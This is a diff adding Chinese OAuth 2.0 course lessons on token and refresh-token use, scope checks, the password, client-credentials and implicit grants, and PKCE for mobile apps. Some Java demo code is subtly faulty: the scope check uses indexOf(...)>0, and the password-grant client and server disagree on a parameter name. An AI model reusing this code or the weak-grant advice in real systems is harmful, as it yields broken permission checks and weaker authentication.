+　　根据 OAuth 2.0 的官方建议，系统在接入 OAuth 2.0 之前信息传递的请求载体是 JSON 格式的，那么如果继续采用表单参数提交的方式，令牌就无法加入进去了，因为格式不符。如果这时采用参数传递的方式呢，整个 URI 会被整体复制，安全性是最差的。而请求头部字段的方式就没有上述的这些“烦恼”，因此官方的建议是采用 Authorization 的方式来传递令牌。
+
+　　但是，我建议你采用表单提交，也就是 POST 的方式来提交令牌，类似如下代码所示。原因是这样的，从官方的建议中也可以看出，它指的是在接入 OAuth 2.0 之前，如果你已经采用了 JSON 数据格式请求体的情况下，不建议使用表单提交。但是，刚开始的时候，只要三方软件和平台之间约束好了，大家一致采用表单提交，就没有任何问题了。因为表单提交的方式在保证安全传输的同时，还不需要去额外处理 Authorization 头部信息。
+
+　　String protectedURl="http://localhost:8082/ProtectedServlet-ch03";
+　　Map<String, String> paramsMap = new HashMap<String, String>();
+　　paramsMap.put("app_id","APPID_RABBIT");
+　　paramsMap.put("app_secret","APPSECRET_RABBIT");
+　　paramsMap.put("token",accessToken);
+　　String result = HttpURLClient.doPost(protectedURl,HttpURLClient.mapToStr(paramsMap));
+
+
+　　第四点，使用刷新令牌。
+
+　　我在讲授权服务的时候提到过，如果访问令牌过期了，小兔软件总不能立马提示并让小明重新授权一次，否则小明的体验将会非常不好。为了解决这个问题呢，就用到了刷新令牌。
+
+　　使用刷新令牌的方式跟使用访问令牌是一样的，具体可以参照上面我们讲的访问令牌的方式。关于刷新令牌的使用，你最需要关心的是，什么时候你会来决定使用刷新令牌。
+
+　　在小兔打单软件收到访问令牌的同时，也会收到访问令牌的过期时间 expires_in。一个设计良好的第三方应用，应该将 expires_in 值保存下来并定时检测；如果发现 expires_in 即将过期，则需要利用 refresh_token 去重新请求授权服务，以便获取新的、有效的访问令牌。
+
+　　这种定时检测的方法可以提前发现访问令牌是否即将过期。此外，还有一种方法是“现场”发现。也就是说，比如小兔软件访问小明店铺订单的时候，突然收到一个访问令牌失效的响应，此时小兔软件立即使用 refresh_token 来请求一个访问令牌，以便继续代表小明使用他的数据。
+
+　　综合来看的话，定时检测的方式，需要我们额外开发一个定时任务；而“现场”发现，就没有这种额外的工作量啦。具体采用哪一种方式，你可以结合自己的实际情况。不过呢，我还是建议你采用定时检测这种方式，因为它可以带来“提前量”，以便让我们有更好的主动性，而现场发现就有点被动了。
+
+　　说到这里，我要再次提醒你注意的是，刷新令牌是一次性的，使用之后就会失效，但是它的有效期会比访问令牌要长。这个时候我们可能会想到，如果刷新令牌也过期了怎么办？在这种情况下，我们就需要将刷新令牌和访问令牌都放弃，相当于回到了系统的初始状态，只能让用户小明重新授权了。
+
+　　到这里，我们来总结下，在构建第三方应用时，你需要重点关注的就是注册、授权、访问令牌、刷新令牌。只要你掌握了这四部分内容，在类似京东这样的开放平台上开发小兔软件，就不再是什么困难的事情了。
+
+服务市场中的第三方应用软件
+
+　　在构建第三方应用的引导授权时，我们说用户第一次“触摸”到的一定是第三方软件，但这并不是绝对的。这个不绝对，就发生在服务市场这样的场景里。
+
+　　那什么是服务市场呢？说白了，就是你开发的软件，比如小兔打单软件、店铺装修软件等，都发布到这样一个“市场”里面售卖。这样，当用户购买了这些软件之后，就可以在服务市场里面看到有个“立即使用”的按钮。点击这个按钮，用户就可以直接访问自己购买的第三方软件了。
+
+　　比如，京东的京麦服务市场里有个“我的服务”目录，里面就存放了我购买的打单软件。小明就可以直接点击“立即使用”，继而进入小兔打单软件，如下图所示。
+
+　　
+
+　　图2 京麦服务市场“我的服务”
+
+　　那么，这里需要注意的是，作为第三方开发者来构建第三方软件的时候，在授权码环节除了要接收授权码 code 值之外，还要接收用户的订购相关信息，比如服务的版本号、服务代码标识等信息。
+
+　　好了，以上就是关于构建第三方软件时需要注意的一些细节问题了。接下来，我们再谈谈构建受保护资源服务的时候，又需要重点处理哪些工作呢。
+
+构建受保护资源服务
+
+　　你先想一想，实际上在整个开放授权的环境中，受保护资源最终指的还是 Web API，比如说，访问头像的 API、访问昵称的 API。对应到我们的打单软件中，受保护资源就是订单查询 API、批量查询 API 等。
+
+　　在互联网上的系统之间的通信，基本都是以 Web API 为载体的形式进行。因此呢，当我们说受保护资源被授权服务保护着时，实际上说的是授权服务最终保护的是这些 Web API。我们在构建受保护资源服务的时候，除了基本的要检查令牌的合法性，还需要做些什么呢？我认为最重要的就是权限范围了。
+
+　　在我们处理受保护资源服务中的逻辑的时候，校验权限的处理会占据很大的比重。你想啊，访问令牌递过来，你肯定要多看看令牌到底能操作哪些功能、又能访问哪些数据吧。现在，我们把这些权限的类别总结归纳下来，最常见的大概有以下几类。
+
+　　
+
+　　图3 3类权限类别
+
+　　接下来，我和你具体说说这些权限是如何使用的。
+
+　　这里的操作，其实对应的是 Web API，比如目前京东商家开放平台提供有查询商品 API、新增商品 API、删除商品 API 这三种。如果小兔软件请求过来的一个访问令牌 access_token 的 scope 权限范围只对应了查询商品 API、新增商品 API，那么包含这个 access_token 值的请求，就不能执行删除商品 API 的操作。
+
+　　String[] scope = OauthServlet.tokenScopeMap.get(accessToken);
+　　StringBuffer sbuf = new StringBuffer();
+　　for(int i=0;i<scope.length;i++){
+　　    sbuf.append(scope[i]).append("|");
+　　}
+　　if(sbuf.toString().indexOf("query")>0){
+　　    queryGoods("");
+　　}
+　　if(sbuf.toString().indexOf("add")>0){
+　　    addGoods("");
+　　}
+　　if(sbuf.toString().indexOf("del")>0){
+　　    delGoods("");
+　　}
+
+
+　　这里的数据，就是指某一个 API 里包含的属性字段信息。比如，有一个查询小明信息的 API，返回的信息包括 Contact（email、phone、qq）、Like（Basketball、Swimming）、Personal Data（sex、age、nickname）。如果小兔软件请求过来的一个访问令牌 access_token 的 scope 权限范围只对应了 Personal Data，那么包含该 access_token 值的请求就不能获取到 Contact 和 Like 的信息，关于这部分的代码，实际跟不同权限对应不同操作的代码类似。
+
+　　看到这里，你就明白了，这种权限范围的粒度要比“不同的权限对应不同的操作”的粒度要小。这正是遵循了最小权限范围原则。
+
+　　这种权限是什么意思呢？其实，这种权限实际上只是换了一种维度，将其定位到了用户上面。
+
+　　一些基础类信息，比如获取地理位置、获取天气预报等，不会带有用户归属属性，也就是说这些信息并不归属于某个用户，是一类公有信息。对于这样的信息，平台提供出去的 API 接口都是“中性”的，没有用户属性。
+
+　　但是，更多的场景却是基于用户属性的。还是以小兔打单软件为例，商家每次打印物流面单的时候，小兔打单软件都要知道是哪个商家的订单。这种情况下，商家为小兔软件授权，小兔软件获取的 access_token 实际上就包含了商家这个用户属性。
+
+　　京东商家开放平台的受保护资源服务每次接收到小兔软件的请求时，都会根据该请求中 access_token 的值找到对应的商家 ID，继而根据商家 ID 查询到商家的订单信息，也就是不同的商家对应不同的订单数据。
+
+　　String user = OauthServlet.tokenMap.get(accessToken);
+　　queryOrders(user);
+
+
+　　在上面讲三种权限的时候，我举的例子实际上都属于一个系统提供了查询、添加、删除这样的所有服务。此时你可能会想到，现在的系统不已经是分布式系统环境了么，如果有很多个受保护资源服务，比如提供用户信息查询的用户资源服务、提供商品查询的商品资源服务、提供订单查询的订单资源服务，那么每个受保护资源服务岂不是都要把上述的权限范围校验执行一遍吗，这样不就会有大量的重复工作产生么？
+
+　　在这里，我特别高兴你能想到这一点。为了应对这种情况，我们应该有一个统一的网关层来处理这样的校验，所有的请求都会经过 API GATEWAY 跳转到不同的受保护资源服务。这样呢，我们就不需要在每一个受保护资源服务上都做一遍权限校验的工作了，而只需要在 API GATEWAY 这一层做权限校验就可以了。系统结构如下图所示。
+
+　　
+
+　　图4 由统一的网关层处理权限校验
+
+总结
+
+　　截止到这一讲呢，我们已经把 OAuth 2.0 中授权码相关的流程所涉及到的内容都讲完了。通过 02 到 05 这 4 讲，你可以很清晰地理解授权码流程的核心原理了，也可以弄清楚如何使用以及如何接入这一授权流程了。
+
+　　我在本讲开始的时候，提到 OAuth 2.0 的复杂性实际上都给了授权服务来承担，接着我从第三方软件和受保护资源的角度，分别介绍了这两部分系统在接入 OAuth 2.0 的时候应该注意哪些方面。总结下来，我其实希望你能够记住以下两点。
+
+　　对于第三方软件，比如小兔打单软件来讲，它的主要目的就是获取访问令牌，使用访问令牌，这当然也是整个 OAuth 2.0 的目的，就是让第三方软件来做这两件事。在这个过程中需要强调的是，第三方软件在使用访问令牌的时候有三种方式，我们建议在平台和第三方软件约定好的前提下，优先采用 Post 表单提交的方式。
+
+　　受保护资源系统，比如小兔软件要访问开放平台的订单数据服务，它需要注意的是权限的问题，这个权限范围主要包括，不同的权限会有不同的操作，不同的权限也会对应不同的数据，不同的用户也会对应不同的数据。
+
+思考题
+
+　　如果使用刷新令牌 refresh_token 请求回来一个新的访问令牌 access_token，按照一般规则授权服务上旧的访问令牌应该要立即失效，但是如果在这之前已经有使用旧的访问令牌发出去的请求，不就受到影响了吗，这种情况下应该如何处理呢？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/06除了授权码许可类型，OAuth2.0还支持什么授权流程？.md

@@ -0,0 +1,209 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            06 除了授权码许可类型，OAuth 2.0还支持什么授权流程？
+                            　　你好，我是王新栋。
+
+　　在前面几讲学习授权码许可类型的原理与工作流程时，不知道你是不是一直有这样一个疑问：授权码许可的流程最完备、最安全没错儿，但它适合所有的授权场景吗？在有些场景下使用授权码许可授权，是不是过于复杂了，是不是根本就没必要这样？
+
+　　比如，小兔打单软件是京东官方开发的一款软件，那么小明在使用小兔的时候，还需要小兔再走一遍授权码许可类型的流程吗？估计你也猜到答案了，肯定是不需要了。
+
+　　你还记得授权码许可流程的特点么？它通过授权码这种临时的中间值，让小明这样的用户参与进来，从而让小兔软件和京东之间建立联系，进而让小兔代表小明去访问他在京东店铺的订单数据。
+
+　　现在小兔被“招安”了，是京东自家的了，是被京东充分信任的，没有“第三方软件”的概念了。同时，小明也是京东店铺的商家，也就是说软件和用户都是京东的资产。这时，显然没有必要再使用授权码许可类型进行授权了。但是呢，小兔依然要通过互联网访问订单数据的 Web API，来提供为小明打单的功能。
+
+　　于是，为了保护这些场景下的 Web API，又为了让 OAuth 2.0 更好地适应现实世界的更多场景，来解决比如上述小兔软件这样的案例，OAuth 2.0 体系中还提供了资源拥有者凭据许可类型。
+
+资源拥有者凭据许可
+
+　　从“资源拥有者凭据许可”这个命名上，你可能就已经理解它的含义了。没错，资源拥有者的凭据，就是用户的凭据，就是用户名和密码。可见，这是最糟糕的一种方式。那为什么 OAuth 2.0 还支持这种许可类型，而且编入了 OAuth 2.0 的规范呢？
+
+　　我们先来思考一下。正如上面我提到的，小兔此时就是京东官方出品的一款软件，小明也是京东的用户，那么小明其实是可以使用用户名和密码来直接使用小兔这款软件的。原因很简单，那就是这里不再有“第三方”的概念了。
+
+　　但是呢，如果每次小兔都是拿着小明的用户名和密码来通过调用 Web API 的方式，来访问小明店铺的订单数据，甚至还有商品信息等，在调用这么多 API 的情况下，无疑增加了用户名和密码等敏感信息的攻击面。
+
+　　如果是使用了 token 来代替这些“满天飞”的敏感信息，不就能很大程度上保护敏感信息数据了吗？这样，小兔软件只需要使用一次用户名和密码数据来换回一个 token，进而通过 token 来访问小明店铺的数据，以后就不会再使用用户名和密码了。
+
+　　接下来，我们一起看下这种许可类型的流程，如下图所示：
+
+　　
+
+　　图1 资源拥有者凭据许可类型的流程
+
+　　步骤 1：当用户访问第三方软件小兔时，会提示输入用户名和密码。索要用户名和密码，就是资源拥有者凭据许可类型的特点。
+
+　　步骤 2：这里的 grant_type 的值为 password，告诉授权服务使用资源拥有者凭据许可凭据的方式去请求访问。
+
+　　Map<String, String> params = new HashMap<String, String>();
+　　params.put("grant_type","password");
+　　params.put("app_id","APPIDTEST");
+　　params.put("app_secret","APPSECRETTEST");
+　　params.put("name","NAMETEST");
+　　params.put("password","PASSWORDTEST");
+　　String accessToken = HttpURLClient.doPost(oauthURl,HttpURLClient.mapToStr(params));
+
+
+　　步骤 3：授权服务在验证用户名和密码之后，生成 access_token 的值并返回给第三方软件。
+
+　　   if("password".equals(grantType)){
+　　    String appSecret = request.getParameter("app_secret");
+　　    String username = request.getParameter("username");
+　　    String password = request.getParameter("password");
+　　    if(!"APPSECRETTEST".equals(appSecret)){
+　　        response.getWriter().write("app_secret is not available");
+　　        return;
+　　    }
+　　    if(!"USERNAMETEST".equals(username)){
+　　        response.getWriter().write("username is not available");
+　　        return;
+　　    }
+　　    if(!"PASSWORDTEST".equals(password)){
+　　        response.getWriter().write("password is not available");
+　　        return;
+　　    }
+　　    String accessToken = generateAccessToken(appId,"USERTEST");
+　　    response.getWriter().write(accessToken);
+　　}
+
+
+　　到了这里，你可以掌握到一个信息：如果软件是官方出品的，又要使用 OAuth 2.0 来保护我们的 Web API，那么你就可以使用小兔软件的做法，采用资源拥有者凭据许可类型。
+
+　　无论是我们的架构、系统还是框架，都是致力于解决现实生产中的各种问题的。除了资源拥有者凭据许可类型外，OAuth 2.0 体系针对现实的环境还提供了客户端凭据许可和隐式许可类型。接下来，让我们继续看看这两种授权许可类型吧。
+
+客户端凭据许可
+
+　　如果没有明确的资源拥有者，换句话说就是，小兔软件访问了一个不需要用户小明授权的数据，比如获取京东 LOGO 的图片地址，这个 LOGO 信息不属于任何一个第三方用户，再比如其它类型的第三方软件来访问平台提供的省份信息，省份信息也不属于任何一个第三方用户。
+
+　　此时，在授权流程中，就不再需要资源拥有者这个角色了。当然了，你也可以形象地理解为 “资源拥有者被塞进了第三方软件中” 或者 “第三方软件就是资源拥有者”。这种场景下的授权，便是客户端凭据许可，第三方软件可以直接使用注册时的 app_id 和 app_secret 来换回访问令牌 token 的值。
+
+　　我们还是以小明使用小兔软件为例，来看下客户端凭据许可的整个授权流程，如下图所示：
+
+　　
+
+　　图2 客户端凭据许可授权流程
+
+　　另外一点呢，因为授权过程没有了资源拥有者小明的参与，小兔软件的后端服务可以随时发起 access_token 的请求，所以这种授权许可也不需要刷新令牌。
+
+　　这样一来，客户端凭据许可类型的关键流程，就是以下两大步。
+
+　　步骤 1：第三方软件小兔通过后端服务向授权服务发送请求，这里 grant_type 的值为 client_credentials，告诉授权服务要使用第三方软件凭据的方式去请求访问。
+
+　　Map<String, String> params = new HashMap<String, String>();
+　　params.put("grant_type","client_credentials");
+　　params.put("app_id","APPIDTEST");
+　　params.put("app_secret","APPSECRETTEST");
+　　String accessToken = HttpURLClient.doPost(oauthURl,HttpURLClient.mapToStr(params));
+
+
+　　步骤 2：在验证 app_id 和 app_secret 的合法性之后，生成 access_token 的值并返回。
+
+　　String grantType = request.getParameter("grant_type");
+　　String appId = request.getParameter("app_id");
+　　if(!"APPIDTEST".equals(appId)){
+　　    response.getWriter().write("app_id is not available");
+　　    return;
+　　}
+　　if("client_credentials".equals(grantType)){
+　　    String appSecret = request.getParameter("app_secret");
+　　    if(!"APPSECRETTEST".equals(appSecret)){
+　　        response.getWriter().write("app_secret is not available");
+　　        return;
+　　    }
+　　    String accessToken = generateAccessToken(appId,"USERTEST");
+　　    response.getWriter().write(accessToken);
+　　}
+
+
+　　到这里，我们再小结下。在获取一种不属于任何一个第三方用户的数据时，并不需要类似小明这样的用户参与，此时便可以使用客户端凭据许可类型。
+
+　　接下来，我们再一起看看今天要讲的最后一种授权许可类型，就是隐式许可类型。
+
+隐式许可
+
+　　让我们再想象一下，如果小明使用的小兔打单软件应用没有后端服务，就是在浏览器里面执行的，比如纯粹的 JavaScript 应用，应该如何使用 OAuth 2.0 呢？
+
+　　其实，这种情况下的授权流程就可以使用隐式许可流程，可以理解为第三方软件小兔直接嵌入浏览器中了。
+
+　　在这种情况下，小兔软件对于浏览器就没有任何保密的数据可以隐藏了，也不再需要应用密钥 app_secret 的值了，也不用再通过授权码 code 来换取访问令牌 access_token 的值了。因为使用授权码的目的之一，就是把浏览器和第三方软件的信息做一个隔离，确保浏览器看不到第三方软件最重要的访问令牌 access_token 的值。
+
+　　因此，隐式许可授权流程的安全性会降低很多。在授权流程中，没有服务端的小兔软件相当于是嵌入到了浏览器中，访问浏览器的过程相当于接触了小兔软件的全部，因此我用虚线框来表示小兔软件，整个授权流程如下图所示：
+
+　　
+
+　　图3 隐式许可授权流程
+
+　　接下来，我使用 Servlet 的 Get 请求来模拟这个流程，一起看看相关的示例代码。
+
+　　步骤 1：用户通过浏览器访问第三方软件小兔。此时，第三方软件小兔实际上是嵌入浏览器中执行的应用程序。
+
+　　步骤 2：这个流程和授权码流程类似，只是需要特别注意一点，response_type 的值变成了 token，是要告诉授权服务直接返回 access_token 的值。随着我们后续的讲解，你会发现隐式许可流程是唯一在前端通信中要求返回 access_token 的流程。对，就这么 “大胆”，但 “不安全”。
+
+　　Map<String, String> params = new HashMap<String, String>();
+　　params.put("response_type","token");
+　　params.put("redirect_uri","http://localhost:8080/AppServlet-ch02");
+　　params.put("app_id","APPIDTEST");
+　　String toOauthUrl = URLParamsUtil.appendParams(oauthUrl,params);
+　　response.sendRedirect(toOauthUrl);
+
+
+　　步骤 3：生成 acccess_token 的值，通过前端通信返回给第三方软件小兔。
+
+　　String responseType = request.getParameter("response_type");
+　　String redirectUri =request.getParameter("redirect_uri");
+　　String appId = request.getParameter("app_id");
+　　if(!"APPIDTEST".equals(appId)){
+　　    return;
+　　}
+　　if("token".equals(responseType)){
+　　    String accessToken = generateAccessToken(appId,"USERTEST");
+　　    Map<String, String> params = new HashMap<String, String>();
+　　    params.put("redirect_uri",redirectUri);
+　　    params.put("access_token",accessToken);
+　　    String toAppUrl = URLParamsUtil.appendParams(redirectUri,params);
+　　    response.sendRedirect(toAppUrl);
+　　}
+
+
+　　如果你的软件就是直接嵌入到了浏览器中运行，而且还没有服务端的参与，并且还想使用 OAuth 2.0 流程的话，也就是像上面我说的小兔这个例子，那么便可以直接使用隐式许可类型了。
+
+如何选择？
+
+　　现在，我们已经理解了 OAuth 2.0 的 4 种授权许可类型的原理与流程。那么，我们应该如何选择到底使用哪种授权许可类型呢？
+
+　　这里，我给你的建议是，在对接 OAuth 2.0 的时候先考虑授权码许可类型，其次再结合现实生产环境来选择：
+
+　　如果小兔软件是官方出品，那么可以直接使用资源拥有者凭据许可；
+
+　　如果小兔软件就是只嵌入到浏览器端的应用且没有服务端，那就只能选择隐式许可；
+
+　　如果小兔软件获取的信息不属于任何一个第三方用户，那可以直接使用客户端凭据许可类型。
+
+总结
+
+　　好了，我们马上要结束这篇文章了，在这之前呢，我们一直讲的是授权码许可类型，你已经知道了这是一种流程最完备、安全性最高的授权许可流程。不过呢，现实世界总是有各种各样的变化，OAuth 2.0 也要适应这样的变化，所以才有了我们今天讲的另外这三种许可类型。同时，关于如何来选择使用这些许可类型，我前面也给了大家一个建议。
+
+　　加上前面我们讲的授权码许可类型，我们一共讲了 4 种授权许可类型，它们最显著的区别就是获取访问令牌 access_token 的方式不同。最后，我通过一张表格来对比下：
+
+　　
+
+　　图4 OAuth 2.0的4种授权许可类型对比
+
+　　除了上面这张表格所展现的 4 种授权许可类型的区别之外，我希望你还能记住以下两点。
+
+　　所有的授权许可类型中，授权码许可类型的安全性是最高的。因此，只要具备使用授权码许可类型的条件，我们一定要首先授权码许可类型。
+
+　　所有的授权许可类型都是为了解决现实中的实际问题，因此我们还要结合实际的生产环境，在保障安全性的前提下选择最合适的授权许可类型，比如使用客户端凭据许可类型的小兔软件就是一个案例。
+
+　　我把今天用到的代码放到了 GitHub 上，你可以点击这个链接查看。
+
+思考题
+
+　　如果受限于应用特性所在的环境，比如在没有浏览器参与的情况下，我们应该如何选择授权许可类型呢，还可以使用授权码许可流程吗？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/07如何在移动App中使用OAuth2.0？.md

@@ -0,0 +1,148 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            07 如何在移动App中使用OAuth 2.0？
+                            　　你好，我是王新栋。
+
+　　在前面几讲中，我都是基于 Web 应用的场景来讲解的 OAuth 2.0。除了 Web 应用外，现实环境中还有非常多的移动 App。那么，在移动 App 中，能不能使用 OAuth 2.0 ，又该如何使用 OAuth 2.0 呢？
+
+　　没错，OAuth 2.0 最初的应用场景确实是 Web 应用，但是它的伟大之处就在于，它把自己的核心协议定位成了一个框架而不是单个的协议。这样做的好处是，我们可以基于这个基本的框架协议，在一些特定的领域进行扩展。
+
+　　因此，到了桌面或者移动的场景下，OAuth 2.0 的协议一样适用。考虑到授权码许可是最完备、最安全的许可类型，所以我在讲移动 App 如何使用 OAuth 2.0 的时候，依然会用授权码许可来讲解，毕竟“要用就用最好的”。
+
+　　当我们开发一款移动 App 的时候，可以选择没有 Server 端的 “纯 App” 架构，比如这款 App 不需要跟自己的 Server 端通信，或者可以调用其它开放的 HTTP 接口；当然也可以选择有服务端的架构，比如这款 App 还想把用户的操作日志记录下来并保存到 Server 端的数据库中。
+
+　　那总结下来呢，移动 App 可以分为两类，一类是没有 Server 端的 App 应用，一类是有 Server 端的 App 应用。
+
+　　
+
+　　图1 两类移动App
+
+　　这两类 App 在使用 OAuth 2.0 时的最大区别，在于获取访问令牌的方式：
+
+　　如果有 Server 端，就建议通过 Server 端和授权服务做交互来换取访问令牌；
+
+　　如果没有 Server 端，那么只能通过前端通信来跟授权服务做交互，比如在上一讲中提到的隐式许可授权类型。当然，这种方式的安全性就降低了很多。
+
+　　有些时候，我们可能觉得自己开发一个 App 不需要一个 Server 端。那好，就让我们先来看看没有 Server 端的 App 应用如何使用授权码许可类型。
+
+没有 Server 端的 App
+
+　　在一个没有 Server 端支持的纯 App 应用中，我们首先想到的是，如何可以像 Web 服务那样，让请求和响应“来去自如”呢。
+
+　　你可能会想，我是不是可以将一个“迷你”的 Web 服务器嵌入到 App 里面去，这样不就可以像 Web 应用那样来使用 OAuth 2.0 了么？确实，这是行得通的，而且已经有 App 这样做了。
+
+　　这样的 App 通过监听运行在 localhost 上的 Web 服务器 URI，就可以做到跟普通的 Web 应用一样的通信机制。但这种方式不是我们这次要讲的重点，如果你想深入了解可以去查些资料。因为当使用这种方式的时候，请求访问令牌时需要的 app_secret 就只能保存在用户本地设备上，而这并不是我们所建议的。
+
+　　到这里，你应该猜到了，问题的关键在于如何保存 app_secret，因为 App 会被安装在成千上万个终端设备上，app_secret 一旦被破解，就将会造成灾难性的后果。这时，有的同学突发奇想，如果不用 app_secret，也能在授权码流程里换回访问令牌 access_token，不就可以了吗？
+
+　　确实可以，但新的问题也来了。在授权码许可类型的流程中，如果没有了 app_secret 这一层的保护，那么通过授权码 code 换取访问令牌的时候，就只有授权码 code 在“冲锋陷阵”了。这时，授权码 code 一旦失窃，就会带来严重的安全问题。那么，我既不使用 app_secret，还要防止授权码 code 失窃，有什么好的方法吗？
+
+　　有，OAuth 2.0 里面就有这样的指导方法。这个方法就是我们将要介绍的 PKCE 协议，全称是 Proof Key for Code Exchange by OAuth Public Clients。
+
+　　在下面的流程图中，为了突出第三方软件使用 PKCE 协议时与授权服务之间的通信过程，我省略了受保护资源服务和资源拥有者的角色：
+
+　　
+
+　　图2 使用PKCE协议的流程图
+
+　　我来和你分析下这个流程中的重点。
+
+　　首先，App 自己要生成一个随机的、长度在 43~128 字符之间的、参数为 code_verifier 的字符串验证码；接着，我们再利用这个 code_verifier，来生成一个被称为“挑战码”的参数code_challenge。
+
+　　那怎么生成这个 code_challenge 的值呢？OAuth 2.0 规范里面给出了两种方法，就是看 code_challenge_method 这个参数的值：
+
+　　一种 code_challenge_method=plain，此时 code_verifier 的值就是 code_challenge 的值；
+
+　　另外一种 code_challenge_method=S256，就是将 code_verifier 值进行 ASCII 编码之后再进行哈希，然后再将哈希之后的值进行 BASE64-URL 编码，如下代码所示。
+
+　　code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
+
+
+　　好了，我知道有这样两个值，也知道它们的生成方法了，但这两个值跟我们的授权码流程有什么关系呢，又怎么利用它们呢？不用着急，我们接着讲。
+
+　　授权码流程简单概括起来不是有两步吗，第一步是获取授权码 code，第二步是用 app_id+app_secret+code 获取访问令牌 access_token。刚才我们的“梦想”不是设想不使用 app_secret，但同时又能保证授权码流程的安全性么？
+
+　　没错。code_verifier 和 code_challenge 这两个参数，就是来帮我们实现这个“梦想”的。
+
+　　在第一步获取授权码 code 的时候，我们使用 code_challenge 参数。需要注意的是，我们要同时将 code_challenge_method 参数也传过去，目的是让授权服务知道生成 code_challenge 值的方法是 plain 还是 S256。
+
+　　https:
+　　response_type=code&
+　　app_id=APP_ID&
+　　redirect_uri=REDIRECT_URI&
+　　code_challenge=CODE_CHALLENGE&
+　　code_challenge_method=S256
+
+
+　　在第二步获取访问令牌的时候，我们使用 code_verifier 参数，授权服务此时会将 code_verifier 的值进行一次运算。那怎么运算呢？就是上面 code_challenge_method=S256 的这种方式。
+
+　　没错，第一步请求授权码的时候，已经告诉授权服务生成 code_challenge 的方法了。所以，在第二步的过程中，授权服务将运算的值跟第一步接收到的值做比较，如果相同就颁发访问令牌。
+
+　　  POST https:
+　　  grant_type=authorization_code&
+　　  code=AUTH_CODE_HERE&
+　　  redirect_uri=REDIRECT_URI&
+　　  app_id=APP_ID&
+　　  code_verifier=CODE_VERIFIER
+
+
+　　现在，你就知道了我们是如何使用 code_verifier 和 code_challenge 这两个参数的了吧。总结一下就是，换取授权码 code 的时候，我们使用 code_challenge 参数值；换取访问令牌的时候，我们使用 code_verifier 参数值。那么，有的同学会继续问了，我们为什么要这样做呢。
+
+　　现在，就让我来和你分析一下。
+
+　　我们的愿望是，没有 Server 端的手机 App，也可以使用授权码许可流程，对吧？app_secret 不能用，因为它只能被存在用户的设备上，我们担心被泄露。
+
+　　那么，在没有了 app_secret 这层保护的前提下，即使我们的授权码 code 被截获，再加上 code_challenge 也同时被截获了，那也没有办法由 code_challenge 逆推出 code_verifier 的值。而恰恰在第二步换取访问令牌的时候，授权服务需要的就是 code_verifier 的值。因此，这也就避免了访问令牌被恶意换取的安全问题。
+
+　　现在，我们可以通过 PKCE 协议的帮助，让没有 Server 端的 App 也能够安全地使用授权码许可类型进行授权了。但是，按照 OAuth 2.0 的规范建议，通过后端通信来换取访问令牌是较为安全的方式。所以呢，在这里，我想跟你探讨的是，我们真的不需要一个 Server 端吗？在做移动应用开发的时候，我们真的从设计上就决定废弃 Server 端了吗？
+
+有 Server 端的 App
+
+　　如果你开发接入过微信登录，就会在微信的官方文档上看到下面这句话：
+
+　　微信 OAuth 2.0 授权登录目前支持 authorization_code 模式，适用于拥有 Server 端的应用授权。
+
+　　没错，微信的 OAuth 2.0 授权登录，就是建议我们需要一个 Server 端来支持这样的授权接入。
+
+　　那么，有 Server 端支持的 App 又是如何使用 OAuth 2.0 的授权码许可流程的呢？其实，在前面几讲的基础上，我们现在理解这样的场景并不是什么难事儿。
+
+　　
+
+　　图3 微信登录流程图
+
+　　看到这个图，你是不是觉得特别熟悉，跟普通的授权码流程没有区别，仍是两步走的策略：第一步换取授权码 code，第二步通过授权码 code 换取访问令牌 access_token。
+
+　　这里的第三方应用，就是我们作为开发者来开发的应用，包含了移动 App 和 Server 端。我们将其“放大”得到下面这张图：
+
+　　
+
+　　图4 有Server端的App的授权流程
+
+　　我们从这张“放大”的图中，就会发现有 Server 端的 App 在使用授权码流程的时候，跟普通的 Web 应用几乎没有任何差别。
+
+　　大概流程是：当我们访问第三方 App 的时候，需要用到微信来登录；第三方 App 可以拉起微信的 App，我们会在微信的 App 里面进行登录及授权；微信 Server 端验证成功之后会返回一个授权码 code，通过微信 App 传递给了第三方 App；后面的流程就是我们熟悉的使用授权码 code 和 app_secret，换取访问令牌 access_token 的值了。
+
+　　这次使用 app_secret 的时候，我们是在第三方 App 的 Server 端来使用的，因此安全性上没有任何问题。
+
+总结
+
+　　今天这一讲，我重点和你讲了两块内容，没有 Server 端的 App 和有 Server 端的 App 分别是如何使用授权码许可类型的。我希望你能够记住以下两点内容。
+
+　　我们使用 OAuth 2.0 协议的目的，就是要起到安全性的作用，但有些时候，因为使用不当反而会造成更大的安全问题，比如将 app_secret 放入 App 中的最基本错误。如果放弃了 app_secret，又是如何让没有 Server 端的 App 安全地使用授权码许可协议呢？针对这种情况，我和你介绍了 PKCE 协议。它是一种在失去 app_secret 保护的时候，防止授权码失窃的解决方案。
+
+　　我们需要思考一下，我们的 App 真的不需要一个 Server 端吗？我建议你在开发移动 App 的时候，尽可能地都要搭建一个 Server 端，因为通过后端通信来传输访问令牌比通过前端通信传输要安全得多。我也举了微信的例子，很多官方的开放平台在提供 OAuth 2.0 服务的时候，都会建议开发者要有一个相应的 Server 端。
+
+　　那么，关于 OAuth 2.0 的使用还有哪些安全方面的防范措施是我们要注意的呢，接下来的一讲中我们会重点跟大家介绍。
+
+思考题
+
+　　在移动 App 中，你还能想到有哪些相对安全的方式来使用 OAuth 2.0 吗？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/08实践OAuth2.0时，使用不当可能会导致哪些安全漏洞？.md

@@ -0,0 +1,202 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            08 实践OAuth 2.0时，使用不当可能会导致哪些安全漏洞？
+                            　　你好，我是王新栋。
+
+　　当知道这一讲的主题是 OAuth 2.0 的安全漏洞时，你可能要问了：“OAuth 2.0 不是一种安全协议吗，不是保护 Web API 的吗？为啥 OAuth 2.0 自己还有安全的问题了呢？”
+
